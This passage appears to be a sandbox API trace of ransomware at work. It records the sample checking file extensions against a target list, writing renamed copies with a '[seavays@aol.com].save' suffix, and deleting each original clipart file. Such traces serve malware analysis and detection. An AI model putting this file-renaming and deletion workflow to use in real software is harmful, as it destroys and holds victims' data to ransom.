(lpString1=".1cd", lpString2=".GIF") returned -1 [0061.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0061.876] lstrlenW (lpString=".jpg") returned 4 [0061.876] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0061.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0061.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0061.876] lstrlenW (lpString=".doc") returned 4 [0061.876] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0061.876] lstrlenW (lpString=".docx") returned 5 [0061.876] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0061.876] lstrlenW (lpString=".pdf") returned 4 [0061.876] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0061.876] lstrlenW (lpString=".xls") returned 4 [0061.876] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0061.876] lstrlenW (lpString=".xlsx") returned 5 [0061.876] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0061.876] lstrlenW (lpString=".ppt") returned 4 [0061.876] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0061.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0061.876] lstrlenW (lpString=".zip") returned 4 [0061.876] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0061.876] lstrlenW (lpString=".rar") returned 4 [0061.876] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0061.876] lstrlenW (lpString=".bz2") returned 4 [0061.876] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0061.876] lstrlenW (lpString=".7z") returned 3 [0061.876] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0061.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0061.876] lstrlenW (lpString=".dbf") returned 4 [0061.876] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0061.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0061.876] lstrlenW (lpString=".1cd") returned 4 [0061.876] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0061.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0061.877] lstrlenW (lpString=".jpg") returned 4 [0061.877] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0061.877] lstrcmpiW (lpString1=".GIF", lpString2=".save") returned -1 [0061.877] lstrlenW (lpString="AG00120_.GIF") returned 12 [0061.877] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0061.877] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=3484) returned 1 [0061.877] CloseHandle (hObject=0x384) returned 1 [0061.877] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif")) returned 0x220 [0061.877] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0061.877] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0061.878] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0061.878] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0061.878] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0061.878] GetLastError () returned 0x0 [0061.878] ReadFile (in: hFile=0x384, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0xd9c, lpOverlapped=0x0) returned 1 [0061.879] WriteFile (in: hFile=0x388, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xda0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xda0, lpOverlapped=0x0) returned 1 [0061.880] ReadFile (in: hFile=0x384, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0061.880] WriteFile (in: hFile=0x388, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0061.880] SetEndOfFile (hFile=0x388) returned 1 [0061.881] CloseHandle (hObject=0x388) returned 1 [0061.881] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0061.882] SetEndOfFile (hFile=0x384) returned 1 [0061.882] CloseHandle (hObject=0x384) returned 1 [0061.882] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0061.883] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif")) returned 1 [0061.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0061.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0061.883] lstrlenW (lpString=".doc") returned 4 [0061.883] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0061.883] lstrlenW (lpString=".docx") returned 5 [0061.883] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0061.883] lstrlenW (lpString=".pdf") returned 4 [0061.883] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0061.883] lstrlenW (lpString=".xls") returned 4 [0061.883] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0061.883] lstrlenW (lpString=".xlsx") returned 5 [0061.883] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0061.883] lstrlenW (lpString=".ppt") returned 4 [0061.883] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0061.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0061.883] lstrlenW (lpString=".zip") returned 4 [0061.883] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0061.883] lstrlenW (lpString=".rar") returned 4 [0061.883] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0061.883] lstrlenW (lpString=".bz2") returned 4 [0061.883] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0061.883] lstrlenW (lpString=".7z") returned 3 [0061.884] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0061.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0061.884] lstrlenW (lpString=".dbf") returned 4 [0061.884] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0061.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0061.884] lstrlenW (lpString=".1cd") returned 4 [0061.884] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0061.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0061.884] lstrlenW (lpString=".jpg") returned 4 [0061.884] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0061.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0061.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0061.884] lstrlenW (lpString=".doc") returned 4 [0061.884] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0061.884] lstrlenW (lpString=".docx") returned 5 [0061.884] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0061.884] lstrlenW (lpString=".pdf") returned 4 [0061.884] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0061.884] lstrlenW (lpString=".xls") returned 4 [0061.884] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0061.884] lstrlenW (lpString=".xlsx") returned 5 [0061.884] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0061.884] lstrlenW (lpString=".ppt") returned 4 [0061.884] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0061.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0061.884] lstrlenW (lpString=".zip") returned 4 [0061.884] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0061.884] lstrlenW (lpString=".rar") returned 4 [0061.884] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0061.884] lstrlenW (lpString=".bz2") returned 4 [0061.884] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0061.884] lstrlenW (lpString=".7z") returned 3 [0061.884] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0061.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0061.885] lstrlenW (lpString=".dbf") returned 4 [0061.885] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0061.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0061.885] lstrlenW (lpString=".1cd") returned 4 [0061.885] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0061.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0061.885] lstrlenW (lpString=".jpg") returned 4 [0061.885] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0061.885] lstrcmpiW (lpString1=".GIF", lpString2=".save") returned -1 [0061.885] lstrlenW (lpString="AG00126_.GIF") returned 12 [0061.885] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0061.885] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=3140) returned 1 [0061.885] CloseHandle (hObject=0x384) returned 1 [0061.885] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif")) returned 0x220 [0061.885] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0061.886] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0061.886] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0061.886] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0061.886] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0061.886] GetLastError () returned 0x0 [0061.886] ReadFile (in: hFile=0x384, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0xc44, lpOverlapped=0x0) returned 1 [0061.888] WriteFile (in: hFile=0x388, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xc50, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xc50, lpOverlapped=0x0) returned 1 [0061.888] ReadFile (in: hFile=0x384, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0061.889] WriteFile (in: hFile=0x388, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0061.889] SetEndOfFile (hFile=0x388) returned 1 [0061.889] CloseHandle (hObject=0x388) returned 1 [0061.891] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0061.891] SetEndOfFile (hFile=0x384) returned 1 [0061.892] CloseHandle (hObject=0x384) returned 1 [0061.892] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0061.892] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif")) returned 1 [0061.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0061.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0061.892] lstrlenW (lpString=".doc") returned 4 [0061.892] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0061.892] lstrlenW (lpString=".docx") returned 5 [0061.892] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0061.892] lstrlenW (lpString=".pdf") returned 4 [0061.892] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0061.892] lstrlenW (lpString=".xls") returned 4 [0061.893] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0061.893] lstrlenW (lpString=".xlsx") returned 5 [0061.893] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0061.893] lstrlenW (lpString=".ppt") returned 4 [0061.893] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0061.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0061.893] lstrlenW (lpString=".zip") returned 4 [0061.893] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0061.893] lstrlenW (lpString=".rar") returned 4 [0061.893] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0061.893] lstrlenW (lpString=".bz2") returned 4 [0061.893] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0061.893] lstrlenW (lpString=".7z") returned 3 [0061.893] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0061.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0061.893] lstrlenW (lpString=".dbf") returned 4 [0061.893] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0061.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0061.893] lstrlenW (lpString=".1cd") returned 4 [0061.893] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0061.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0061.893] lstrlenW (lpString=".jpg") returned 4 [0061.893] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0061.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0061.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0061.893] lstrlenW (lpString=".doc") returned 4 [0061.893] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0061.893] lstrlenW (lpString=".docx") returned 5 [0061.893] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0061.893] lstrlenW (lpString=".pdf") returned 4 [0061.893] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0061.893] lstrlenW (lpString=".xls") returned 4 [0061.893] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0061.894] lstrlenW (lpString=".xlsx") returned 5 [0061.894] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0061.894] lstrlenW (lpString=".ppt") returned 4 [0061.894] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0061.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0061.894] lstrlenW (lpString=".zip") returned 4 [0061.894] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0061.894] lstrlenW (lpString=".rar") returned 4 [0061.894] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0061.894] lstrlenW (lpString=".bz2") returned 4 [0061.894] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0061.894] lstrlenW (lpString=".7z") returned 3 [0061.894] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0061.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0061.894] lstrlenW (lpString=".dbf") returned 4 [0061.894] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0061.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0061.894] lstrlenW (lpString=".1cd") returned 4 [0061.894] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0061.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0061.894] lstrlenW (lpString=".jpg") returned 4 [0061.894] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0061.894] lstrcmpiW (lpString1=".GIF", lpString2=".save") returned -1 [0061.894] lstrlenW (lpString="AG00129_.GIF") returned 12 [0061.894] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0061.895] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=12482) returned 1 [0061.895] CloseHandle (hObject=0x384) returned 1 [0061.895] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif")) returned 0x220 [0061.895] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0061.895] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0061.895] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0061.895] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0061.895] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0061.896] GetLastError () returned 0x0 [0061.896] ReadFile (in: hFile=0x384, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x30c2, lpOverlapped=0x0) returned 1 [0062.090] WriteFile (in: hFile=0x388, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x30d0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x30d0, lpOverlapped=0x0) returned 1 [0062.092] ReadFile (in: hFile=0x384, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0062.092] WriteFile (in: hFile=0x388, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0062.092] SetEndOfFile (hFile=0x388) returned 1 [0062.198] CloseHandle (hObject=0x388) returned 1 [0062.200] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0062.200] SetEndOfFile (hFile=0x384) returned 1 [0062.201] CloseHandle (hObject=0x384) returned 1 [0062.201] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0062.286] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif")) returned 1 [0062.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0062.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0062.286] lstrlenW (lpString=".doc") returned 4 [0062.286] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0062.286] lstrlenW (lpString=".docx") returned 5 [0062.286] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0062.286] lstrlenW (lpString=".pdf") returned 4 [0062.286] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0062.286] lstrlenW (lpString=".xls") returned 4 [0062.286] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0062.286] lstrlenW (lpString=".xlsx") returned 5 [0062.287] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0062.287] lstrlenW (lpString=".ppt") returned 4 [0062.287] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0062.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0062.287] lstrlenW (lpString=".zip") returned 4 [0062.287] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0062.287] lstrlenW (lpString=".rar") returned 4 [0062.287] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0062.287] lstrlenW (lpString=".bz2") returned 4 [0062.287] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0062.287] lstrlenW (lpString=".7z") returned 3 [0062.287] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0062.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0062.287] lstrlenW (lpString=".dbf") returned 4 [0062.287] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0062.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0062.287] lstrlenW (lpString=".1cd") returned 4 [0062.287] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0062.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0062.287] lstrlenW (lpString=".jpg") returned 4 [0062.287] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0062.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0062.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0062.287] lstrlenW (lpString=".doc") returned 4 [0062.287] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0062.287] lstrlenW (lpString=".docx") returned 5 [0062.287] lstrcmpiW (lpString1=".docx", 